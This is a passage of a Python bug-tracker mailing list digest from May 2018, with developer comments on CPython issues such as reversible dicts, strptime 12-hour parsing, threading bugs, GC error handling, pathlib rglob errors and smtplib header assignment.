In-Reply-To: <1527015604.6.0.682650639539.issue33605@psf.upfronthosting.co.za> Message-ID: <1527145757.28.0.682650639539.issue33605@psf.upfronthosting.co.za> Hrvoje Nik?i? added the comment: I would definitely not propose or condone sacrificing performance. Part of the reason why I suggested the check is that it can be done efficiently - it is literally a comparison of two integers, both of which are obtained trivially. I would hope that it doesn't affect performance at all, but only measurements will show. I looked at the implementation of threading.get_ident(), and it looks just as one would hope - a cast of pthread_self() to unsigned long, and a call to PyLong_FromUnsignedLong. If needed, it might be further improved by caching the resulting PyObject * in a __thread variable on platforms that support them, but hopefully that is not necessary. (It would require additional code to Py_CLEAR the cached PyObject * when the thread exits.) > I very doubt that correct asyncio program have problems like this. That is true by definition, since what we're discussing is incorrect in asyncio. But we could be better at diagnosing the incorrect use, and we could do so (or so I hope) very efficiently. Failure to emit a diagnostic leads to bugs that are discovered much later or never. As for why people use multi-threading with asyncio, keep in mind that many libraries create threads behind the scenes without the user being aware of it. Like me, you are a regular at python-asyncio tag, so you've seen those. In some cases you can write it off as the user doing something stupid and not reading the docs, but in many others, the mistake is far from obvious, especially for users who are not (yet) asyncio experts. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 03:29:39 2018 From: report at bugs.python.org (CatPaw Freed) Date: Thu, 24 May 2018 07:29:39 +0000 Subject: [issue33631] [ValueError] _strptime.py can't handle 12-hr format strings using '0' instead of '12' for noon and midnight Message-ID: <1527146979.67.0.682650639539.issue33631@psf.upfronthosting.co.za> New submission from CatPaw Freed : I have to process some data which date was specified in 12-hour format, eg. 9/24/2017 0:39:41 PM. I call datetime.datetime.strptime with "%m/%d/%Y %I:%M:%S %p" format. However, it throws me an error [File "C:\Python27\lib\_strptime.py", line 332, in _strptime (data_string, format)) ValueError: time data '9/24/2017 0:39:41 PM' does not match format '%m/%d/%Y %I:%M:%S %p']. Then, I found out that, in _strptime.py, the regex patterns are defined as below. 'd': r"(?P3[0-1]|[1-2]\d|0[1-9]|[1-9]| [1-9])", 'f': r"(?P[0-9]{1,6})", 'H': r"(?P2[0-3]|[0-1]\d|\d)", 'I': r"(?P1[0-2]|0[1-9]|[1-9])", 'j': r"(?P36[0-6]|3[0-5]\d|[1-2]\d\d|0[1-9]\d|00[1-9]|[1-9]\d|0[1-9]|[1-9])", 'm': r"(?P1[0-2]|0[1-9]|[1-9])", 'M': r"(?P[0-5]\d|\d)", 'S': r"(?P6[0-1]|[0-5]\d|\d)", 'U': r"(?P5[0-3]|[0-4]\d|\d)", 'w': r"(?P[0-6])", I'm a newbie in python world. Is it a bug? I changed regex pattern of 'I' to r"(?P1[0-2]|0[0-9]|[0-9])" and it works. I would like to know why 0 is excluded. May be, I have missed something. ---------- messages: 317541 nosy: CatPaw Freed priority: normal severity: normal status: open title: [ValueError] _strptime.py can't handle 12-hr format strings using '0' instead of '12' for noon and midnight type: crash _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 03:47:55 2018 From: report at bugs.python.org (Ammar Askar) Date: Thu, 24 May 2018 07:47:55 +0000 Subject: [issue33631] [ValueError] _strptime.py can't handle 12-hr format strings using '0' instead of '12' for noon and midnight In-Reply-To: <1527146979.67.0.682650639539.issue33631@psf.upfronthosting.co.za> Message-ID: <1527148075.12.0.682650639539.issue33631@psf.upfronthosting.co.za> Ammar Askar added the comment: 0 is excluded because it is not a valid hour in the 12 hour clock. 0:39pm is not a valid time on a 12 hour clock. After 11am you reach 12pm, then 1pm. See the table on the right here: https://en.wikipedia.org/wiki/12-hour_clock Your data source is encoding the time incorrectly, see this thread here for some solutions: https://stackoverflow.com/a/33317167 ---------- nosy: +ammar2 resolution: -> not a bug stage: -> resolved status: open -> closed type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 04:05:16 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 24 May 2018 08:05:16 +0000 Subject: [issue33622] Fix errors handling in the garbage collector In-Reply-To: <1527097280.42.0.682650639539.issue33622@psf.upfronthosting.co.za> Message-ID: <1527149116.82.0.682650639539.issue33622@psf.upfronthosting.co.za> Change by Antoine Pitrou : ---------- priority: normal -> low _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 04:07:41 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 24 May 2018 08:07:41 +0000 Subject: [issue33621] repr(threading._DummyThread) always fails. In-Reply-To: <1527097182.41.0.682650639539.issue33621@psf.upfronthosting.co.za> Message-ID: <1527149261.6.0.682650639539.issue33621@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Can you post the actual exception you are getting? Here I have: >>> import threading >>> repr(threading._DummyThread()) '<_DummyThread(Dummy-1, started daemon 140345620215552)>' ---------- nosy: +pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 04:19:16 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 24 May 2018 08:19:16 +0000 Subject: [issue33627] test-complex of test_numeric_tower.test_complex() crashes intermittently on Ubuntu buildbots In-Reply-To: <1527118249.12.0.682650639539.issue33627@psf.upfronthosting.co.za> Message-ID: <1527149956.22.0.682650639539.issue33627@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Those two builders are using Ubuntu 14.04 specifically (with different CPU architectures). I couldn't reproduce on my 16.04 machine. Perhaps something odd on 14.04? Do we have builds with Adress Sanatizer or Undefined Behavior Sanitizer? ---------- nosy: +gregory.p.smith, pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 04:39:55 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 24 May 2018 08:39:55 +0000 Subject: [issue33632] undefined behaviour: signed integer overflow in threadmodule.c Message-ID: <1527151195.18.0.682650639539.issue33632@psf.upfronthosting.co.za> New submission from Antoine Pitrou : Modules/_threadmodule.c:52:47: runtime error: signed integer overflow: 2387971499048 + 9223372036000000000 cannot be represented in type 'long' ---------- components: Library (Lib) messages: 317545 nosy: pitrou priority: normal severity: normal status: open title: undefined behaviour: signed integer overflow in threadmodule.c type: behavior versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 05:06:45 2018 From: report at bugs.python.org (INADA Naoki) Date: Thu, 24 May 2018 09:06:45 +0000 Subject: [issue33609] Document that dicts preserve insertion order In-Reply-To: <1527023250.35.0.682650639539.issue33609@psf.upfronthosting.co.za> Message-ID: <1527152805.21.0.682650639539.issue33609@psf.upfronthosting.co.za> Change by INADA Naoki : ---------- keywords: +patch pull_requests: +6729 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 05:10:54 2018 From: report at bugs.python.org (CatPaw Freed) Date: Thu, 24 May 2018 09:10:54 +0000 Subject: [issue33631] [ValueError] _strptime.py can't handle 12-hr format strings using '0' instead of '12' for noon and midnight In-Reply-To: <1527146979.67.0.682650639539.issue33631@psf.upfronthosting.co.za> Message-ID: <1527153054.02.0.682650639539.issue33631@psf.upfronthosting.co.za> CatPaw Freed added the comment: Thanks for answering my question and giving me a solution. This issue has been dawned on me that these convention are quite strange. I feel confused when thinking of 12:00am/pm vs 0:00am/pm. (@_@) (^~^) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 05:15:00 2018 From: report at bugs.python.org (INADA Naoki) Date: Thu, 24 May 2018 09:15:00 +0000 Subject: [issue33462] reversible dict In-Reply-To: <1526009418.33.0.682650639539.issue33462@psf.upfronthosting.co.za> Message-ID: <1527153300.44.0.682650639539.issue33462@psf.upfronthosting.co.za> INADA Naoki added the comment: I'm not sure it's worth enough for adding more builtin classes. Adding builtin class means Python interpreter core makes more fat, slow to start, and hard to maintain. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 06:03:16 2018 From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=) Date: Thu, 24 May 2018 10:03:16 +0000 Subject: [issue33462] reversible dict In-Reply-To: <1526009418.33.0.682650639539.issue33462@psf.upfronthosting.co.za> Message-ID: <1527156196.14.0.682650639539.issue33462@psf.upfronthosting.co.za> R?mi Lapeyre added the comment: This change does add built-in types but I think it's a reasonable expectation as a python user to be able to do reversed(dict(a=1, b=20) since the order is know defined in the specifications. It seems inconsistent to have an order on dict, views and not have reversed work on them. It does increase fat in the interpreter, but the change is really simple and does not really increase its complexity or make it really harder to maintain. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 06:17:51 2018 From: report at bugs.python.org (INADA Naoki) Date: Thu, 24 May 2018 10:17:51 +0000 Subject: [issue33462] reversible dict In-Reply-To: <1526009418.33.0.682650639539.issue33462@psf.upfronthosting.co.za> Message-ID: <1527157071.7.0.682650639539.issue33462@psf.upfronthosting.co.za> INADA Naoki added the comment: > I think it's a reasonable expectation as a python user to be able to do reversed(dict(a=1, b=20) since the order is know defined in the specifications. I agree about "reasonable expectation". But I'm interested in is it really useful in real world? > It seems inconsistent to have an order on dict, views and not have reversed work on them. "Have an order" doesn't mean "reversible". For example, single linked list is ordered, but not reversible. While CPython implementation can provide efficient __reverse__, adding __reverse__ means **all** Python implementation is expected to provide it. For example, some Python implementation may be able to implement dict with hashmap + single linked list. If __reverse__ is added, it's not possible anymore. "Preserve insertion order" is very useful for many people. So it's guaranteed. Then how useful "reversible" in real world, for many people? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 06:50:33 2018 From: report at bugs.python.org (Xavier Bonaventura) Date: Thu, 24 May 2018 10:50:33 +0000 Subject: [issue33633] smtplib msg['To] = appends instead of assigning Message-ID: <1527159033.13.0.682650639539.issue33633@psf.upfronthosting.co.za> New submission from Xavier Bonaventura : The behavior when you assign an email to 'To' is counter intuitive. When you do: msg['To'] = 'foo at mail.com' this appends the email instead of really assigning it. This is because the assignment operator is overwritten. Imagine that you have code like this: msg = MIMEText("The report at *link* has been updated") for recipient in recipient_list: msg['To'] = recipient_email server.sendmail(from_address, recipient_email, msg.as_string()) This will send the email to the first person N times, to the second N-1, etc. In case that you want to debug, it is also a problem. In case that the append is the expected behaviour, one would expect that at least if you do a print like this you see the full list. print(msg['To']) Instead of that, in this example of code: msg['To'] = 'foo at mail.com' msg['To'] = 'foo at mail.com' print(msg['To']) It will print: foo at mail.com But the message will be sent two times. ---------- components: Library (Lib) messages: 317550 nosy: Xavier Bonaventura priority: normal severity: normal status: open title: smtplib msg['To] = appends instead of assigning type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 06:54:16 2018 From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=) Date: Thu, 24 May 2018 10:54:16 +0000 Subject: [issue33462] reversible dict In-Reply-To: <1526009418.33.0.682650639539.issue33462@psf.upfronthosting.co.za> Message-ID: <1527159256.66.0.682650639539.issue33462@psf.upfronthosting.co.za> R?mi Lapeyre added the comment: >> I think it's a reasonable expectation as a python user to be able to do reversed(dict(a=1, b=20) since the order is know defined in the specifications. > I agree about "reasonable expectation". But I'm interested in is it really useful in real world? I do agree it's certainly used than the conservation of order but it's not useless either. For example, it could help to get the latest section defined in a YAML or INI file once parsed. >> It seems inconsistent to have an order on dict, views and not have reversed work on them. > "Have an order" doesn't mean "reversible". For example, single linked list is ordered, but not reversible. > While CPython implementation can provide efficient __reverse__, adding __reverse__ means **all** Python implementation is expected to provide it. > For example, some Python implementation may be able to implement dict with hashmap + single linked list. If __reverse__ is added, it's not possible anymore. Indeed they would have to use a double-linked-list here. > "Preserve insertion order" is very useful for many people. So it's guaranteed. > Then how useful "reversible" in real world, for many people? While this is true, the same argument could be said about the dict views. Many many people don't know about them but they are still an interesting feature that has its place in the standard library. It definitely won't be the most used feature in Python nor a killer feature but it seemed important enough to be included in OrderedDict (https://github.com/python/cpython/blob/master/Lib/collections/__init__.py#L63) since 3.5 and a C implementation of OrderedDict has been added in the same release so it seems to have mattered at the time. Having this feature in the built-in dicts could actually help to simplify the implementation of the collections module in this case. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 06:55:06 2018 From: report at bugs.python.org (Fabio Zadrozny) Date: Thu, 24 May 2018 10:55:06 +0000 Subject: [issue33621] repr(threading._DummyThread) always fails. In-Reply-To: <1527097182.41.0.682650639539.issue33621@psf.upfronthosting.co.za> Message-ID: <1527159306.22.0.682650639539.issue33621@psf.upfronthosting.co.za> Fabio Zadrozny added the comment: Python 3.6.0 |Continuum Analytics, Inc.| (default, Dec 23 2016, 11:57:41) [MSC v.1900 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import threading >>> repr(threading._DummyThread()) Traceback (most recent call last): File "", line 1, in File "C:\tools\Miniconda\envs\pyqt5\lib\threading.py", line 819, in __repr__ self.is_alive() # easy way to get ._is_stopped set when appropriate File "C:\tools\Miniconda\envs\pyqt5\lib\threading.py", line 1115, in is_alive self._wait_for_tstate_lock(False) File "C:\tools\Miniconda\envs\pyqt5\lib\threading.py", line 1071, in _wait_for_tstate_lock assert self._is_stopped AssertionError ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 06:56:56 2018 From: report at bugs.python.org (Fabio Zadrozny) Date: Thu, 24 May 2018 10:56:56 +0000 Subject: [issue33621] repr(threading._DummyThread) always fails. In-Reply-To: <1527097182.41.0.682650639539.issue33621@psf.upfronthosting.co.za> Message-ID: <1527159416.79.0.682650639539.issue33621@psf.upfronthosting.co.za> Fabio Zadrozny added the comment: Actually, I tried on a more recent version of Python 3.6 (3.6.5) and it doesn't happen there (so, just happens in 3.6.0 -- i.e.: in the old conda env I had around). Sorry for the noise. Closing issue as it's already fixed. ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 07:00:27 2018 From: report at bugs.python.org (Martin Panter) Date: Thu, 24 May 2018 11:00:27 +0000 Subject: [issue33632] undefined behaviour: signed integer overflow in threadmodule.c In-Reply-To: <1527151195.18.0.682650639539.issue33632@psf.upfronthosting.co.za> Message-ID: <1527159627.93.0.682650639539.issue33632@psf.upfronthosting.co.za> Martin Panter added the comment: Looks like this is what my thread.patch was fixing in . You?re welcome to use my patch, but I won?t have time to work on it myself. ---------- nosy: +martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 07:06:28 2018 From: report at bugs.python.org (INADA Naoki) Date: Thu, 24 May 2018 11:06:28 +0000 Subject: [issue33462] reversible dict In-Reply-To: <1527159256.66.0.682650639539.issue33462@psf.upfronthosting.co.za> Message-ID: INADA Naoki added the comment: > R?mi Lapeyre added the comment: > >> I think it's a reasonable expectation as a python user to be able to do reversed(dict(a=1, b=20) since the order is know defined in the specifications. > > I agree about "reasonable expectation". But I'm interested in is it really useful in real world? > I do agree it's certainly used than the conservation of order but it's not useless either. For example, it could help to get the latest section defined in a YAML or INI file once parsed. For rare cases, OrderedDict can be used. > >> It seems inconsistent to have an order on dict, views and not have reversed work on them. > > "Have an order" doesn't mean "reversible". For example, single linked list is ordered, but not reversible. > > While CPython implementation can provide efficient __reverse__, adding __reverse__ means **all** Python implementation is expected to provide it. > > For example, some Python implementation may be able to implement dict with hashmap + single linked list. If __reverse__ is added, it's not possible anymore. > Indeed they would have to use a double-linked-list here. Doubly linked list is memory inefficient than singly linked list. And memory efficiency of builtin type is very important, than types in library like OrderedDict. > > "Preserve insertion order" is very useful for many people. So it's guaranteed. > > Then how useful "reversible" in real world, for many people? > While this is true, the same argument could be said about the dict views. Many many people don't know about them but they are still an interesting feature that has its place in the standard library. It's different problem and out of scope of this discussion. > It definitely won't be the most used feature in Python nor a killer feature but it seemed important enough to be included in OrderedDict ( https://github.com/python/cpython/blob/master/Lib/collections/__init__.py#L63) since 3.5 and a C implementation of OrderedDict has been added in the same release so it seems to have mattered at the time. OrderedDict is more about "preserving insertion order". It provides O(1) `popitem(last=False)` and `move_to_end(last=False)`. So "Reversible is essential for OrderedDict" is not enough reason for "Reversible is essential for dict". > Having this feature in the built-in dicts could actually help to simplify the implementation of the collections module in this case. Would you elaborate more? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 07:18:39 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 11:18:39 +0000 Subject: [issue33632] undefined behaviour: signed integer overflow in threadmodule.c In-Reply-To: <1527151195.18.0.682650639539.issue33632@psf.upfronthosting.co.za> Message-ID: <1527160719.47.0.682650639539.issue33632@psf.upfronthosting.co.za> STINNER Victor added the comment: > Modules/_threadmodule.c:52:47: runtime error: signed integer overflow: 2387971499048 + 9223372036000000000 cannot be represented in type 'long' How do you reproduce the issue? The thread module should limit the maximum timeout to PY_TIMEOUT_MAX. Maybe PY_TIMEOUT_MAX is too big? ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 07:30:55 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 11:30:55 +0000 Subject: [issue33625] Disable GIL on getpwnam and getpwuid In-Reply-To: <1527105781.7.0.682650639539.issue33625@psf.upfronthosting.co.za> Message-ID: <1527161455.64.0.682650639539.issue33625@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Functions getpwnam() and getpwuid() are not reentrant. This is not a problem if their use is guarded with GIL and extensions don't call them directly. But if release GIL, we should use reentrant getpwnam_r() and getpwuid_r() instead. There may be an open issue for this, but I can't find it now. If getpwnam_r() and getpwuid_r() are not available (are there such modern platforms?) we should use getpwnam() and getpwuid() without releasing GIL. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 07:31:44 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 11:31:44 +0000 Subject: [issue33634] Buildbot configuration issue on Windows7 buildbots Message-ID: <1527161504.95.0.682650639539.issue33634@psf.upfronthosting.co.za> New submission from STINNER Victor : http://buildbot.python.org/all/#/builders/90/builds/342 D:\cygwin\home\db3l\buildarea\3.6.bolen-windows7\build>"D:\cygwin\home\db3l\buildarea\3.6.bolen-windows7\build\PCbuild\win32\python_d.exe" -u -Wd -E -bb -m test -uall -rwW --slowest --timeout 1200 -j1 -j2 -uall -cpu -largefile --timeout 900 usage: python -m test [options] [test_name1 [test_name2 ...]] python path/to/Lib/test/regrtest.py [options] [test_name1 [test_name2 ...]] regrtest.py: error: argument -l/--findleaks: ignored explicit argument 'argefile' Pass -h or --help for complete help. ---------- components: Tests messages: 317558 nosy: ned.deily, vstinner, zach.ware priority: normal severity: normal status: open title: Buildbot configuration issue on Windows7 buildbots versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 07:42:30 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 11:42:30 +0000 Subject: [issue33462] reversible dict In-Reply-To: <1526009418.33.0.682650639539.issue33462@psf.upfronthosting.co.za> Message-ID: <1527162150.2.0.682650639539.issue33462@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I concur with Inada. It is a "nice to have" feature, but it has too high cost. PR 6827 adds around 300 lines of new code in dictobject.c. Too large for rarely used feature. And dictobject.c is critically important, adding new code here can make the compiler generating less optimal code for other parts. That is besides increasing the maintenance cost. I may have a case for iterating dict in the reversed order (see issue33331), but adding three new types requires adding too much boilerplate code. In the current form PR 6827 can't be merged, and I don't see a way how to make the code much shorter without impact on the current code. :-( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 07:44:58 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 11:44:58 +0000 Subject: [issue33634] Buildbot configuration issue on Windows7 buildbots In-Reply-To: <1527161504.95.0.682650639539.issue33634@psf.upfronthosting.co.za> Message-ID: <1527162298.68.0.682650639539.issue33634@psf.upfronthosting.co.za> STINNER Victor added the comment: Ned comment: This is a side effect of our attempt to fix the test failures on this (Windows7) buildbot caused by "largefile" tests (see https://bugs.python.org/issue33355 ). It should go away once the buildbot config gets manually updated. https://github.com/python/buildmaster-config/pull/34 https://github.com/python/buildmaster-config/pull/35 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 07:46:27 2018 From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=) Date: Thu, 24 May 2018 11:46:27 +0000 Subject: [issue33462] reversible dict In-Reply-To: <1526009418.33.0.682650639539.issue33462@psf.upfronthosting.co.za> Message-ID: <1527162386.99.0.682650639539.issue33462@psf.upfronthosting.co.za> R?mi Lapeyre added the comment: Since there seems to be a consensus about this change being too much, should we go back to the first proposal to implement dict.__reversed__ only and not reversed for the views, this would greatly reduce the bload or dump the PR as a whole ? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 07:49:14 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 11:49:14 +0000 Subject: [issue33462] reversible dict In-Reply-To: <1526009418.33.0.682650639539.issue33462@psf.upfronthosting.co.za> Message-ID: <1527162554.45.0.682650639539.issue33462@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: This would make the feature incomplete and will add a pressure of implementing support for dict views. And even one new type adds much bloat. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 07:49:24 2018 From: report at bugs.python.org (Jan) Date: Thu, 24 May 2018 11:49:24 +0000 Subject: [issue30773] async generator receives wrong value when shared between coroutines In-Reply-To: <1498503333.78.0.356156621032.issue30773@psf.upfronthosting.co.za> Message-ID: <1527162564.36.0.682650639539.issue30773@psf.upfronthosting.co.za> Jan added the comment: I've reproduced the problem also in 3.7 branch. ``` import asyncio loop = asyncio.get_event_loop() async def consumer(): while True: await asyncio.sleep(0) message = yield print('received', message) async def amain(): agenerator = consumer() await agenerator.asend(None) fa = asyncio.create_task(agenerator.asend('A')) fb = asyncio.create_task(agenerator.asend('B')) await fa await fb loop.run_until_complete(amain()) ``` Output: ``` received A received None ``` If the line `await asyncio.sleep(0)` is omitted the output is ok: ``` received A received B ``` ---------- nosy: +jan.cespivo versions: +Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 07:56:57 2018 From: report at bugs.python.org (INADA Naoki) Date: Thu, 24 May 2018 11:56:57 +0000 Subject: [issue33462] reversible dict In-Reply-To: <1526009418.33.0.682650639539.issue33462@psf.upfronthosting.co.za> Message-ID: <1527163017.0.0.682650639539.issue33462@psf.upfronthosting.co.za> INADA Naoki added the comment: > Since there seems to be a consensus about this change being too much, should we go back to the first proposal to implement dict.__reversed__ only and not reversed for the views, this would greatly reduce the bload or dump the PR as a whole ? Since API of builtin type is part of language (not only CPython), I want agreement on python-dev before adding it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 08:00:50 2018 From: report at bugs.python.org (Rolf Campbell) Date: Thu, 24 May 2018 12:00:50 +0000 Subject: [issue33547] Relative imports do not replace local variables In-Reply-To: <1526503619.08.0.682650639539.issue33547@psf.upfronthosting.co.za> Message-ID: <1527163250.78.0.682650639539.issue33547@psf.upfronthosting.co.za> Rolf Campbell added the comment: Is there any way to use relative imports and explicitly request a sub-module? >From PEP 328: "import <> is always absolute" So it sounds like there is no way to duplicate the explicit request for a sub-module when using relative imports. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 08:15:27 2018 From: report at bugs.python.org (Victor Domingos) Date: Thu, 24 May 2018 12:15:27 +0000 Subject: [issue33635] OSError when using pathlib.Path.rglob() to list device files Message-ID: <1527164127.59.0.682650639539.issue33635@psf.upfronthosting.co.za> New submission from Victor Domingos : This method fails with an error when it finds a character or block device (like those found in /dev on macOS). However, in the same machine, with the same Python version, the alternative os.walk() performs basically the same job with no errors. I am not sure if that error is the expected behaviour, but I wasn't able to find a clear explanation in the docs. Anyway, it seems to me, as a user, that the os.walk() error-less behaviour is more desirable. ``` $ python3 Python 3.7.0b4 (v3.7.0b4:eb96c37699, May 2 2018, 04:13:13) [Clang 6.0 (clang-600.0.57)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import os >>> from pathlib import Path >>> [f for f in Path(os.path.expanduser('/dev')).rglob("*") if f.is_file()] Traceback (most recent call last): File "", line 1, in File "", line 1, in File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/pathlib.py", line 1344, in is_file return S_ISREG(self.stat().st_mode) File "/Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/pathlib.py", line 1140, in stat return self._accessor.stat(self) OSError: [Errno 9] Bad file descriptor: '/dev/fd/3' >>> ``` ---------- components: Library (Lib) messages: 317566 nosy: Victor Domingos priority: normal severity: normal status: open title: OSError when using pathlib.Path.rglob() to list device files type: crash versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 08:19:37 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 12:19:37 +0000 Subject: [issue33622] Fix errors handling in the garbage collector In-Reply-To: <1527097280.42.0.682650639539.issue33622@psf.upfronthosting.co.za> Message-ID: <1527164377.27.0.682650639539.issue33622@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 301e3cc8a5bc68c5347ab6ac6f83428000d31ab2 by Serhiy Storchaka in branch 'master': bpo-33622: Fix issues with handling errors in the GC. (GH-7078) https://github.com/python/cpython/commit/301e3cc8a5bc68c5347ab6ac6f83428000d31ab2 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 08:19:45 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 24 May 2018 12:19:45 +0000 Subject: [issue33622] Fix errors handling in the garbage collector In-Reply-To: <1527097280.42.0.682650639539.issue33622@psf.upfronthosting.co.za> Message-ID: <1527164385.14.0.682650639539.issue33622@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6730 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 08:30:23 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 12:30:23 +0000 Subject: [issue33622] Fix errors handling in the garbage collector In-Reply-To: <1527097280.42.0.682650639539.issue33622@psf.upfronthosting.co.za> Message-ID: <1527165023.94.0.682650639539.issue33622@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6731 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 08:30:35 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 12:30:35 +0000 Subject: [issue33622] Fix errors handling in the garbage collector In-Reply-To: <1527097280.42.0.682650639539.issue33622@psf.upfronthosting.co.za> Message-ID: <1527165035.5.0.682650639539.issue33622@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6732 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 08:39:11 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 24 May 2018 12:39:11 +0000 Subject: [issue33622] Fix errors handling in the garbage collector In-Reply-To: <1527097280.42.0.682650639539.issue33622@psf.upfronthosting.co.za> Message-ID: <1527165551.4.0.682650639539.issue33622@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 2fe940c727802ad54cff9486c658bc38743f7bfc by Miss Islington (bot) in branch '3.7': bpo-33622: Fix issues with handling errors in the GC. (GH-7078) https://github.com/python/cpython/commit/2fe940c727802ad54cff9486c658bc38743f7bfc ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 08:43:06 2018 From: report at bugs.python.org (twisteroid ambassador) Date: Thu, 24 May 2018 12:43:06 +0000 Subject: [issue33530] Implement Happy Eyeball in asyncio In-Reply-To: <1526439388.6.0.682650639539.issue33530@psf.upfronthosting.co.za> Message-ID: <1527165786.11.0.682650639539.issue33530@psf.upfronthosting.co.za> Change by twisteroid ambassador : ---------- keywords: +patch pull_requests: +6733 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 08:48:53 2018 From: report at bugs.python.org (twisteroid ambassador) Date: Thu, 24 May 2018 12:48:53 +0000 Subject: [issue33630] test_posix: TestPosixSpawn fails on PPC64 Fedora 3.x In-Reply-To: <1527128333.92.0.682650639539.issue33630@psf.upfronthosting.co.za> Message-ID: <1527166133.57.0.682650639539.issue33630@psf.upfronthosting.co.za> Change by twisteroid ambassador : ---------- keywords: +patch pull_requests: +6734 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 09:05:43 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 24 May 2018 13:05:43 +0000 Subject: [issue33622] Fix errors handling in the garbage collector In-Reply-To: <1527097280.42.0.682650639539.issue33622@psf.upfronthosting.co.za> Message-ID: <1527167143.87.0.682650639539.issue33622@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset f0e04b2ae27a4da940a76ae522f0438f80ce5d5a by Serhiy Storchaka in branch '3.6': [3.6] bpo-33622: Fix issues with handling errors in the GC. (GH-7078) (GH-7095) https://github.com/python/cpython/commit/f0e04b2ae27a4da940a76ae522f0438f80ce5d5a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 24 09:40:02 2018 From: report at bugs.python.org (Xavier Bonaventura) Date: Thu, 24 May 2018 13:40:02 +0000 Subject: [issue33633] smtplib msg['To] = appends instead of assigning In-Reply-To: <1527159033.13.0.682650639539.issue33633@psf.upfronthosting.co.za> Message-ID: <1527169202.84.0.682650639539.issue33633@psf.upfronthosting.co.za> Xavier Bonaventura added the comment: I've seen that in the documentation is quite clear with it. The question would be if the print should behave different, it is quite difficult to debug if not. __setitem__(name, val) Add a header to the message with field name name and value val. The field is 